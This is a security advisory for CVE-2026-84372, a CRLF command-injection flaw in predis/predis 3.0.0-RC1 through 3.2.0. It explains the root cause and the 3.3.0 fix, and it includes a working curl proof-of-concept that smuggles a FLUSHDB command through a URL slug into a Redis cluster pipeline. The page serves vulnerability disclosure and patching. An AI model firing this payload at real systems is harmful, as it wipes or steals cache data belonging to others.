critical · 9.8CVE-2026-84372Sep 8, 2026

CVE-2026-84372: predis/predis Redis Command Injection via CRLF Smuggling in Pipelined Commands

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Predis 3.x lets an attacker smuggle arbitrary Redis commands into a pipeline by embedding CRLF sequences in any key or value, enabling shard-wide cache wipes, data theft, and denial of service on…

Packagepredis/predis
Ecosystemcomposer
Affected>= 3.0.0-RC1, < 3.3.0
Fixed in3.3.0
CVE-2026-84372: predis/predis Redis Command Injection via CRLF Smuggling in Pipelined Commands

The problem

In predis/predis 3.0.0-RC1 through 3.2.0, AbstractAggregateConnection::write() re-parses an already-serialized RESP pipeline buffer by splitting it on \r\n with explode() instead of following RESP length prefixes.

Any attacker-controlled key or value (including a URL slug used as a cache key) can embed \r\n to create fake command boundaries. On cluster connections this results in remote command injection: FLUSHDB, DEL, SET, GET, and node-disruption commands are executed without the application ever issuing them.

On replication connections, the misaligned chunk causes Command::deserializeCommand() to throw an uncaught UnexpectedValueException, giving a reliable unauthenticated DoS on every affected request.

Proof of concept

A working proof-of-concept for CVE-2026-84372 in predis/predis, with the exact payload below.

bash
# Cluster: smuggle FLUSHDB inside a URL slug parameter
# Slug first line must hash to a different shard than the fake-key 'key'.
# Retry with PAD0, PAD1, ... until a 500 is returned (~50% per attempt on 2 shards).

curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'

# URL-decoded value reaching the pipeline GET argument:
# slug:PAD4\r\n*1\r\n$7\r\nFLUSHDB
#
# RESP bytes written to the buffer for  GET "slug:PAD4\r\n*1\r\n$7\r\nFLUSHDB":
# *2\r\n$3\r\nGET\r\n$30\r\nslug:PAD4\r\n*1\r\n$7\r\nFLUSHDB\r\n
#
# explode("\r\n") sees these chunks (routes each independently):
#   chunk 1 -> "*2"         (ignored / malformed)
#   chunk 2 -> "$3"         (ignored)
#   chunk 3 -> "GET"        (routed to shard for key 'slug:PAD4')
#   chunk 4 -> "$30"        (ignored)
#   chunk 5 -> "slug:PAD4" (ignored)
#   chunk 6 -> "*1"         -> deserializeCommand sees FLUSHDB command start
#   chunk 7 -> "$7"         (part of FLUSHDB RESP frame)
#   chunk 8 -> "FLUSHDB"   -> routed to node serving slot('key') and EXECUTED
#
# Verified: dbsize drops 100 -> 62 across two shards after one successful attempt.

The root cause is a second, byte-splitting parser inside AbstractAggregateConnection::write() that uses explode("\r\n") to re-parse the already-serialized RESP buffer for routing decisions, ignoring bulk-string length prefixes entirely (CWE-93). Because RESP is length-prefixed, the Redis server receives and parses the stream correctly, but the client-side re-parser treats every attacker-controlled \r\n as a command boundary and passes each chunk to Command::deserializeCommand() for shard routing.

On cluster connections, ClusterStrategy::getFakeKey() hardcodes the literal string 'key' as the routing key for commands that have no natural key (such as FLUSHDB), so the smuggled command is always delivered to the node serving slot('key') and executed.

The patch (PR #1586, commit 053cb4b6) removes this second parser entirely: pipelines on aggregate connections now write each command through its original Command object, so no re-serialization or re-splitting ever occurs and embedded \r\n sequences stay opaque data.

The fix

Upgrade predis/predis to 3.3.0 or later (PR #1586, commit 053cb4b6). If an immediate upgrade is not possible, avoid calling pipeline() on cluster or replication connections with any attacker-influenced keys or values. There is no reliable in-application mitigation while the vulnerable code path remains active: stripping or encoding \r\n at the application layer is fragile and binary serializers (igbinary, msgpack) will reintroduce them anyway.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research